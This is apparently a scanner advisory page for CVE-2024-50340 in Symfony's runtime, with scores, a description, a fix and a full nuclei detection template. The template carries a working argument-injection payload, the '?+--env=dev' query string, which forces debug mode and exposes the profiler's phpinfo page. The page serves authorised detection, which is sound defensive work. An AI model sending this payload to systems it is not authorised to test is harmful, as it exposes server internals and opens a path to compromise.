Symfony Profiler - Remote Access via Injected Arguments

highseverity

7.3CVSS score

61.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the `register_argv_argc` php directive is set to `on` , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by the kernel when handling the request. As of versions 5.4.46, 6.4.14, and 7.1.7 the `SymfonyRuntime` now ignores the `argv` values for non-SAPI PHP runtimes.

Impact

Attackers can exploit vulnerabilities to compromise the system.

Fix

Update to the latest patched version addressing CVE-2024-50340.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains(tolower(body), "symfony")
Send: GET {{BaseURL}}/_profiler/phpinfo?+--env=dev
Positive when: contains "PHP Extension" and "PHP Version" AND status 200

Run it with nuclei: nuclei -id CVE-2024-50340 -u <target>

The full check

id: CVE-2024-50340

info:
  name: Symfony Profiler - Remote Access via Injected Arguments
  author: DhiyaneshDK
  severity: high
  description: |
    symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the `register_argv_argc` php directive is set to `on` , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by the kernel when handling the request. As of versions 5.4.46, 6.4.14, and 7.1.7 the `SymfonyRuntime` now ignores the `argv` values for non-SAPI PHP runtimes.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-50340.
  reference:
    - https://github.com/symfony/symfony/commit/a77b308c3f179ed7c8a8bc295f82b2d6ee3493fa
    - https://github.com/symfony/symfony/security/advisories/GHSA-x8vp-gf4q-mw5j
    - https://blog.nollium.com/cve-2024-50340-remote-access-to-symfony-profiler-via-injected-arguments-d2f14b4f6ad7
    - https://github.com/nollium/CVE-2024-50340-eos-exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50340
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2024-50340
    cwe-id: CWE-74
    epss-score: 0.61834
    epss-percentile: 0.9918
  metadata:
    verified: true
    max-request: 1
    fofa-query: 'body="<div id=\"symfony\">" || header="Set-Cookie: symfony"'
  tags: cve,cve2024,symfony,phpinfo,vuln,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "symfony")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/_profiler/phpinfo?+--env=dev"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from